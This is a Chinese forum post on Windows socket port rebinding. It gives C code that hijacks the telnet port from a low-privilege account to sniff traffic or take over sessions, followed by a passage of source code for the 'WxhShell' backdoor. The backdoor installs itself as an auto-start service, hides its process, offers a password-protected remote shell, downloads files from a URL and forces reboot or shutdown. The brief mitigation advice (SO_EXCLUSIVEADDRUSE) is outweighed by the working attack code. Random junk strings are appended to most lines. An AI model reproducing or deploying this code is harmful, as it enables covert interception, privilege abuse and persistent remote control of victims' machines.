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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T~_/Vi  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [`RX*OH2  
fw6UhG  
  saddr.sin_family = AF_INET; ^= 0m-/  
]X Z-o>+ ,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `;l.MZL!  
@&|l^ 1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r.ZF_^y}+  
j hbonuV_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 qqrq11W  
Vv1|51B  
  这意味着什么?意味着可以进行如下的攻击: ?L&|Uw+  
$-}e; VZb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z7GTaX$d  
\;u@"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D,qu-k[jMI  
#n0Y6Pr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O3DmNq$dz  
a2Pf/D]n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \^7C0R-hX  
U-/{0zB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K"j_>63)  
Ig]iT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kVK/9dy-F  
lKZB?Kk^w\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s, k  
\.YS%"Vz  
  #include 4lhw3,5  
  #include @Z>ZiU,^  
  #include I$N8tn+E  
  #include    b2b?hA'k  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <Rh6r}f  
  int main() |sRipWh  
  { )q7UxzE+  
  WORD wVersionRequested; m<FOu<y  
  DWORD ret;  <1%f@}+8  
  WSADATA wsaData; NT@;N/I  
  BOOL val; D?XM,l+  
  SOCKADDR_IN saddr; tyaA\F57  
  SOCKADDR_IN scaddr; ~ .;<  Bj  
  int err; ]BR,M4   
  SOCKET s; U!U$x74D5  
  SOCKET sc; =] *.ZH#h  
  int caddsize; r{l(O,|e  
  HANDLE mt; 3gd&i  
  DWORD tid;   oy<WsbnS  
  wVersionRequested = MAKEWORD( 2, 2 ); -'~ LjA(  
  err = WSAStartup( wVersionRequested, &wsaData ); <! )**  
  if ( err != 0 ) { S26MDLk`R3  
  printf("error!WSAStartup failed!\n"); }!IL]0 q  
  return -1; ]Oq[gBL"A  
  } orOt>5}b<  
  saddr.sin_family = AF_INET; y ]?V~%  
   "Ph^BU Ab  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Na X   
#>Zzf  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `{qG1  
  saddr.sin_port = htons(23); [JF150zr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t%F0:SH  
  { R<OI1,..r  
  printf("error!socket failed!\n"); sc,Xw:YO  
  return -1; (}}S9 K  
  } cM&{+el  
  val = TRUE; E[Cb|E  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EkziAON  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yj^+ G  
  { $56,$K`H  
  printf("error!setsockopt failed!\n"); f bUr`~Y"  
  return -1; 7jdb)l\p=  
  } bV,}Pp+/"!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9k{PBAP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C*P7-oE2rh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O{ #=d  
+SwR+H)?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) K4kMM*D  
  { ,G)r=$XU  
  ret=GetLastError(); qgfi\/$6  
  printf("error!bind failed!\n"); o}ZdTf=  
  return -1; YpqrZWvh  
  } i>(e}<i  
  listen(s,2); kh`"WN Nt  
  while(1) eH{[C*  
  { s_mS^`P7  
  caddsize = sizeof(scaddr); ~ 0M'7q'  
  //接受连接请求 P-9<YN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E~6c-Lw  
  if(sc!=INVALID_SOCKET) vh$%9ed  
  { Hro-d 1J7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 55z]&5N  
  if(mt==NULL) 9Q"'" b*?z  
  { DY`kx2e!  
  printf("Thread Creat Failed!\n"); ;3@cy|\:  
  break; [sW3l:^  
  } j:VbrR  
  } b9l;a+]d  
  CloseHandle(mt); *6VF $/rP  
  } d QqK^#  
  closesocket(s); Oeok ;:  
  WSACleanup(); w4gJoxY-`  
  return 0; :\|SQKD  
  }   >6?__v]9G  
  DWORD WINAPI ClientThread(LPVOID lpParam) ,k;^G>< =  
  { 1u:< 25  
  SOCKET ss = (SOCKET)lpParam; =|Y,+/R?  
  SOCKET sc; &wV]"&-  
  unsigned char buf[4096]; o7$'cn  
  SOCKADDR_IN saddr; \ZkA>oO".  
  long num; I"ok&^t^}  
  DWORD val; }|pwz   
  DWORD ret; R#I0|;q4|p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hg=";,J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZusEfh?  
  saddr.sin_family = AF_INET; z*!%g[3I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X<I+&Zi  
  saddr.sin_port = htons(23); /#)/;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5;YMqUkw  
  { Ck) * &  
  printf("error!socket failed!\n"); H*r)Z 90  
  return -1; '!eKTC>  
  } oaIi2=Tf  
  val = 100; ):[7E(F=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rp ;b" q  
  { }F#okU  
  ret = GetLastError(); i uF*.hc,%  
  return -1; r/u A.Aou^  
  } xjKR R?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sG92XJ  
  { md"!33 @  
  ret = GetLastError(); c"B{/;A  
  return -1; 3v1iy / /  
  } UdpF@Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SMpH._VFeE  
  { zo4qG+>o  
  printf("error!socket connect failed!\n"); & tg&5_  
  closesocket(sc); FG.em  
  closesocket(ss); F9,DrB,B{  
  return -1; 2h5nMI]'  
  } +lHjC$   
  while(1) Hl{S]]z  
  { iT2B'QI=<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  J4f i'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rustMs2p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z$/xy"  
  num = recv(ss,buf,4096,0); o!kbK#k  
  if(num>0) CEX " D`  
  send(sc,buf,num,0); t.xxSU5~%  
  else if(num==0) n[lJLm^(_C  
  break; ^\4h<M  
  num = recv(sc,buf,4096,0); {y=j?lD  
  if(num>0) iO|se:LY<  
  send(ss,buf,num,0); i OW#>66d  
  else if(num==0) Ab{ K<:l  
  break; 9_Be0xgJ3^  
  } 2AT5  
  closesocket(ss); &L'Dqew,*  
  closesocket(sc); {xXsBh Y  
  return 0 ; >n'o*gZM  
  } 1H6<[iHW  
'"SEw w  
l`#4KCL(  
========================================================== >7jbgHB  
r]:(Vk]|F  
下边附上一个代码,,WXhSHELL {zQ8)$CQ  
/|C*  
========================================================== -?V-*jI  
5C o  
#include "stdafx.h" F8jd'OR  
-p]1=@A<}  
#include <stdio.h> $w2u3 -  
#include <string.h> |}BL F  
#include <windows.h> \Q0[?k  
#include <winsock2.h> 2mVD_ s[`  
#include <winsvc.h> Enum/O5  
#include <urlmon.h> Qz5sxi  
ZX9TYN  
#pragma comment (lib, "Ws2_32.lib") J;.wXS_U8  
#pragma comment (lib, "urlmon.lib") 4|riKo)  
{.C!i{|  
#define MAX_USER   100 // 最大客户端连接数 JTSlWq4  
#define BUF_SOCK   200 // sock buffer zzTfYf)  
#define KEY_BUFF   255 // 输入 buffer e2s]{obf  
HK,cJah q  
#define REBOOT     0   // 重启 }B\a<0L/  
#define SHUTDOWN   1   // 关机 X' H[7 ^W  
RJ  8+h  
#define DEF_PORT   5000 // 监听端口 gQWa24  
hYPl&^  
#define REG_LEN     16   // 注册表键长度 I*{4rDt  
#define SVC_LEN     80   // NT服务名长度 + jc!5i .  
 P5a4ze  
// 从dll定义API Mo?~_|}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8m2Tk\;:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *|%@6I(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >s>1[W@*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $PTP/^  
m0ER@BXRn  
// wxhshell配置信息 {o_X`rgrL  
struct WSCFG { ! h"Kq>9 T  
  int ws_port;         // 监听端口 ,J,/."Y  
  char ws_passstr[REG_LEN]; // 口令 +b0eE)  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~.{/0T  
  char ws_regname[REG_LEN]; // 注册表键名 DS+}UO  
  char ws_svcname[REG_LEN]; // 服务名 :ubV};  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q sZx) bO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dP# |$1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ub^h&= \S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #hfXZVD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \KMToN&2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !=;+%C&8y  
[I '0,y  
}; nw-xSS{  
gw#5jW\  
// default Wxhshell configuration dgR g>)V  
struct WSCFG wscfg={DEF_PORT, {MtpkUN  
    "xuhuanlingzhe", '&x#rjo#  
    1, mHV%I@`Y6  
    "Wxhshell", CtyoHvw+M  
    "Wxhshell", @e(o129  
            "WxhShell Service", +giyX7BPJ  
    "Wrsky Windows CmdShell Service", {@6= Q 6L  
    "Please Input Your Password: ", Wk~W Ozr}^  
  1, 0h#l JS*  
  "http://www.wrsky.com/wxhshell.exe", _ky,;9G]  
  "Wxhshell.exe" 5]KW^sL  
    }; %<k2#6K  
Gw>^[dmt!  
// 消息定义模块 FQu8 vwV6>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d4u})  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t2/#&J]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6IBgt!=,  
char *msg_ws_ext="\n\rExit."; Yw4n-0g  
char *msg_ws_end="\n\rQuit."; R)_%i<nq\  
char *msg_ws_boot="\n\rReboot..."; fol,xMc&  
char *msg_ws_poff="\n\rShutdown..."; tNO-e|~'  
char *msg_ws_down="\n\rSave to "; \Jx04[=  
KK&rb~  
char *msg_ws_err="\n\rErr!"; Aw}"gpL  
char *msg_ws_ok="\n\rOK!"; X iS1\*  
G,?hp>lj  
char ExeFile[MAX_PATH]; h].<t&  
int nUser = 0; "$#xK|t  
HANDLE handles[MAX_USER]; ;YA(|h<  
int OsIsNt; Dd'm U  
>.Chl$)<  
SERVICE_STATUS       serviceStatus; E(O74/2c8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $bW3_rl%X  
L^E[J`  
// 函数声明 _,p/l&<  
int Install(void); $+P>~X)  
int Uninstall(void); ?oVx2LdD|  
int DownloadFile(char *sURL, SOCKET wsh); S=5<^o^h3  
int Boot(int flag); OVm\  
void HideProc(void); X &uTSgN  
int GetOsVer(void); U &C!}  
int Wxhshell(SOCKET wsl); C"6?bg5N  
void TalkWithClient(void *cs); kE:nsXI )  
int CmdShell(SOCKET sock); FG6h,7+  
int StartFromService(void); }Ga\wV  
int StartWxhshell(LPSTR lpCmdLine); GR&z,  
6g|*`x{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d ^^bke$~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GGNvu )"  
l n{e1':$"  
// 数据结构和表定义 8K.R=  
SERVICE_TABLE_ENTRY DispatchTable[] = aoTM  
{ r"C  
{wscfg.ws_svcname, NTServiceMain}, SQ44  
{NULL, NULL} ^Y=\#-Dd  
}; T ? $:'XJ  
j}%ja_9S  
// 自我安装 g l^<Q  
int Install(void) gW^VVbB'L  
{ Yk)."r&?  
  char svExeFile[MAX_PATH]; k_sg ?(-!o  
  HKEY key; ZvNJ^Xz  
  strcpy(svExeFile,ExeFile); /35R u}c  
MLoYnR^  
// 如果是win9x系统,修改注册表设为自启动 G}:w@}h/  
if(!OsIsNt) { p~SClaR3H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wfNk=)^$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tQ8.f  
  RegCloseKey(key); 695V3R 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v'U{/ ,x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % 5m/  
  RegCloseKey(key); Zo|.1pN  
  return 0; z>XrU>}  
    } =T -&j60  
  } |uX,5Q#6  
} !j:9`XD|  
else { ,I7E[LU  
0O9Ni='Tn  
// 如果是NT以上系统,安装为系统服务 >OL3H$F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /q<__N  
if (schSCManager!=0) &:/hrighH  
{ T V<'8 L  
  SC_HANDLE schService = CreateService R%{ a1r>9h  
  ( Rtb7|  
  schSCManager, K@sV\"U(*E  
  wscfg.ws_svcname, ,24p%KJ*X  
  wscfg.ws_svcdisp, }@;ep&b*  
  SERVICE_ALL_ACCESS, UELy"z R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x,rlrxI  
  SERVICE_AUTO_START, 01}C^iD  
  SERVICE_ERROR_NORMAL, Q~OxH'>>(  
  svExeFile, qCljo5Tq'  
  NULL, U@HK+C"M|  
  NULL, G`n_YH084  
  NULL, <L"GqNuRQ  
  NULL, v{(^1cX  
  NULL 7uKNd *%  
  ); { &"CH]r  
  if (schService!=0) spdvZU=}  
  { qT%FmX  
  CloseServiceHandle(schService); N.\- 8?>  
  CloseServiceHandle(schSCManager); {>R:vH 8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +wEac g>>E  
  strcat(svExeFile,wscfg.ws_svcname); *]AdUEV?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -db_E#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Jll-`b 1  
  RegCloseKey(key); P* w9 ,  
  return 0; }\%Fi/6Z{  
    } $ {O#  
  } Km(n7Ah"  
  CloseServiceHandle(schSCManager); LW[9  
} m;'6MHx;  
} PK{acen  
X;i~ <Tq  
return 1; EH256f(&  
} |.F$G<  
\MbB#  
// 自我卸载 eM$sv9?  
int Uninstall(void) >+JqA7K  
{ ?\t#1"d  
  HKEY key; }q $5ig  
Oy%''+g   
if(!OsIsNt) { "t (p&;d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t"= E^r  
  RegDeleteValue(key,wscfg.ws_regname); 2nSSF x r  
  RegCloseKey(key); >33=<~#n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +3BBQ+x!  
  RegDeleteValue(key,wscfg.ws_regname); 8zRP (+&W  
  RegCloseKey(key); ZZHDp&lh}  
  return 0; )/pU.Z/  
  } DVSL [p?_  
} 0s/w,?  
} Hkwl>R$  
else { #73F} tZ^  
j6Yy6X]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LcUh;=r}&  
if (schSCManager!=0) I1pWaQ0  
{ aMtsmL?=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JT3-AAi[Z  
  if (schService!=0) ^>i63Yc  
  { K_RjX>q%N  
  if(DeleteService(schService)!=0) { +89*)pk   
  CloseServiceHandle(schService); ujlY! -GM  
  CloseServiceHandle(schSCManager); _H j!2 '  
  return 0; Xs~[&  
  } ;_rF;9z9  
  CloseServiceHandle(schService); $wo?!gt  
  } }T&iewk  
  CloseServiceHandle(schSCManager); NYrQ$N"  
} v6>_ j L  
} | #47O  
\QYFAa  
return 1; +kzo*zW$L  
} j@SQ~AS  
$npT[~U5  
// 从指定url下载文件 Dp)=0<$y  
int DownloadFile(char *sURL, SOCKET wsh) 8=NM|i  
{ gj*+\3KO@a  
  HRESULT hr; j!U-'zJ  
char seps[]= "/"; Dpl A?  
char *token; .P[ _<8  
char *file; thifRd$4  
char myURL[MAX_PATH]; %= fHu+  
char myFILE[MAX_PATH]; yXHUJgjl/  
KY51rw.  
strcpy(myURL,sURL); [n \2  
  token=strtok(myURL,seps); sj HrPs e  
  while(token!=NULL) v":x4!kdX  
  { b:tob0TB  
    file=token; 7ccO93Mz  
  token=strtok(NULL,seps); 7Rd'm'l)  
  } {bJ`~b9e  
4nh>'v%pD  
GetCurrentDirectory(MAX_PATH,myFILE); b[o"7^H  
strcat(myFILE, "\\"); 6YGubH7%_  
strcat(myFILE, file); 6]W=nAD  
  send(wsh,myFILE,strlen(myFILE),0); BYVY)<v/  
send(wsh,"...",3,0); KG|n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PH+S};Uxv  
  if(hr==S_OK) A Q'J9  
return 0; Exc9` 7%.  
else va}Pj#=  
return 1; r76J N  
@ycDCB(D}  
} ??M"6k  
j4|N- :  
// 系统电源模块 Kx;eaz:gx  
int Boot(int flag) eHn7iuS8  
{ <vONmE a  
  HANDLE hToken; __|+w<]  
  TOKEN_PRIVILEGES tkp; .QZaGw=,z  
_qw?@478  
  if(OsIsNt) { #xX5,r0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q*_/to  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  %oZ6l*  
    tkp.PrivilegeCount = 1; 925|bX6I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }BZ"S-hZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KKiE@_z  
if(flag==REBOOT) { 18+)`M-5o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OY;*zk  
  return 0; Gd-'Z_b  
} mOy^vMa  
else { ^c^#dpn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >8WP0 Qx/  
  return 0; ]:4*L  
} Ju96#v+:  
  } ]rWgSID  
  else { S|7!{}  
if(flag==REBOOT) { WvBc#s-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +nXK-g;)'  
  return 0; =&ks)MH-  
} ;<Ar=?  
else { mH%yGBp_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x:),P-~w  
  return 0; m[~V/N3  
} Xejo_SV&?  
} jL%x7?*U0  
8Kg n"M3  
return 1; j|U#)v/  
} 8ZM&(Lz7u  
rH_\ d?b  
// win9x进程隐藏模块 nqI@Y)  
void HideProc(void) eg(6^:z?f  
{ eJxw) zd7  
qf!p 9@4F[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  gQ'zW  
  if ( hKernel != NULL ) oU056  
  { g!lWu[d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $Tu61zq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i V'k}rXC  
    FreeLibrary(hKernel); N/ %WsQp  
  } pGJ>O/%  
uE%r/:!k4$  
return; ([SU:F!uW(  
} }001K  
sf)EMh3Z  
// 获取操作系统版本 fZ0M%f  
int GetOsVer(void) =G7m)!  
{ cq}EZ@ .  
  OSVERSIONINFO winfo; `Aw^H!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); . $BUw  
  GetVersionEx(&winfo); Al}6q{E9+8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B* ?]H*K  
  return 1; DJ'zz&K  
  else coW:DFX  
  return 0; Fq |Ni$  
} z\K"Rg~J  
yE:+Lo`>  
// 客户端句柄模块 ;j[>9g  
int Wxhshell(SOCKET wsl) h"X;3b^ m  
{ &,zq%;-f  
  SOCKET wsh; kD=WO4}  
  struct sockaddr_in client; G`cHCP_n  
  DWORD myID; ZrPbl "`7  
KN<S}3MN  
  while(nUser<MAX_USER) /N=b\-]  
{  6:b! F  
  int nSize=sizeof(client); &e @2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TE3lK(f  
  if(wsh==INVALID_SOCKET) return 1; d,+Hd2o^X  
B2>H_dmQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;Lc Z`1  
if(handles[nUser]==0) 3EJj9}#x"'  
  closesocket(wsh); G<}()+L  
else ?zh9d%R  
  nUser++; A\4D79>x  
  } $xzAv{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #.rdQ,)<  
b*a#<K$T_  
  return 0; 7m4ao K  
} ^q{9  
nyQ&f'<   
// 关闭 socket wPQH(~k:  
void CloseIt(SOCKET wsh) ]{3)^axW;  
{ .~~nUu+M  
closesocket(wsh); 8&GBV_`I  
nUser--; 4 {y)TZ  
ExitThread(0); !%CWZZ 6u  
} e7 ^mmm  
~xkeuU  
// 客户端请求句柄 )eUh=eW  
void TalkWithClient(void *cs) &XIt5<$~R  
{ ^uKwB;@  
|Luqoa  
  SOCKET wsh=(SOCKET)cs; 3@kf@ Vf  
  char pwd[SVC_LEN]; Bmr>n6|  
  char cmd[KEY_BUFF]; SheM|I~de  
char chr[1]; .B7,j%1r  
int i,j; @i 2E\}  
BF\XEm?!  
  while (nUser < MAX_USER) { LInz<bc<(  
YWe{juXSw  
if(wscfg.ws_passstr) { mk;&yh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4w*Skl=F}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %RTBV9LIXr  
  //ZeroMemory(pwd,KEY_BUFF); <^&ehy:7y  
      i=0; z06r6  
  while(i<SVC_LEN) { 7I&&bWB  
s2h@~y  
  // 设置超时 J[l7di5  
  fd_set FdRead; qX/y5F`  
  struct timeval TimeOut; (/=f6^}  
  FD_ZERO(&FdRead); MLXNZd   
  FD_SET(wsh,&FdRead); GZEc l'h*  
  TimeOut.tv_sec=8; ?4+9fE<Q  
  TimeOut.tv_usec=0; } df W%{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5 h-@|t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^]H5h]U '  
f86XkECZ;`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |?!~{-o  
  pwd=chr[0]; "Lzi+1  
  if(chr[0]==0xd || chr[0]==0xa) { H3z: ZTI  
  pwd=0; {x|[p_?  
  break; 8m-U){r!U^  
  } \HqNAE2T  
  i++; *w|:~g  
    } SEo'(-5  
tI`Q/a5@  
  // 如果是非法用户,关闭 socket G? ])o5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FtpK)9/4  
} I4'5P}1yp  
)F}F_Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X$HIVxyq2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MX$0Op  
!=pn77`g >  
while(1) { $|L Sx  
3DzMB?I  
  ZeroMemory(cmd,KEY_BUFF); )Q=_0;#;k  
>tYm+coS  
      // 自动支持客户端 telnet标准   ohRjvJ'v|  
  j=0; q3mJ782p]  
  while(j<KEY_BUFF) { D[4u+g?[}>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r)lEofX,g+  
  cmd[j]=chr[0]; 8NxM4$nQX  
  if(chr[0]==0xa || chr[0]==0xd) { B}n,b#,*  
  cmd[j]=0; L9r8BK;  
  break; J*r*X.  
  } -f3p U:G8  
  j++; w{I vmdto  
    } P 0SQr?W  
\MA+f~)9  
  // 下载文件 ^ UciW  
  if(strstr(cmd,"http://")) { C;;Sih5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c?tBi9'Y]  
  if(DownloadFile(cmd,wsh)) p#&h=,W}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )mg:_K  
  else 69PE9zz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |N4.u _hM  
  } U\ ig:  
  else { -?H#LUk  
)SaGH3~*C  
    switch(cmd[0]) { ?ME6+Z\  
  [glLre^  
  // 帮助 oL!EYbFD'Z  
  case '?': { 5-|:^hU9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Us)Z^s  
    break; 8LyD7P 1\  
  } R] vV*  
  // 安装 cm&nd'A't  
  case 'i': { ; ^*}#X d  
    if(Install()) y0{u<"t%w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )fFb_U  
    else :yL] ;J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ed]=\Key  
    break; "fQ~uzg="  
    } Pnk5mK$  
  // 卸载 yg `j-9[8  
  case 'r': { e|NG"<  
    if(Uninstall()) tnV/xk#!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,MdV;j ~"'  
    else m.JBOq=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j5QuAU8  
    break; .sxcCrQE  
    } O)C\v F#  
  // 显示 wxhshell 所在路径 zE336  
  case 'p': { hP=WFD&  
    char svExeFile[MAX_PATH]; 1[mXd  
    strcpy(svExeFile,"\n\r"); xj<Rp|7&  
      strcat(svExeFile,ExeFile); Um }  
        send(wsh,svExeFile,strlen(svExeFile),0); OPetj.C/a  
    break; S$f9m  
    } aKV$pC<[o  
  // 重启 ;PF`Wj  
  case 'b': { ,QOG!T4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +cD<:"L'g  
    if(Boot(REBOOT)) teOe#*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <m!h&_eg  
    else { tf =6\p  
    closesocket(wsh); !!qK=V|>  
    ExitThread(0); 0v6)t.]s  
    } 6h>wt-tRC  
    break; Rh3eLt~|(  
    } }elc `jj  
  // 关机 ~< P 0]ju  
  case 'd': { a[v0%W ]u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5uGqX"  
    if(Boot(SHUTDOWN)) ]O Z5 fd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *w$W2I>b7  
    else { O1rvaOlr  
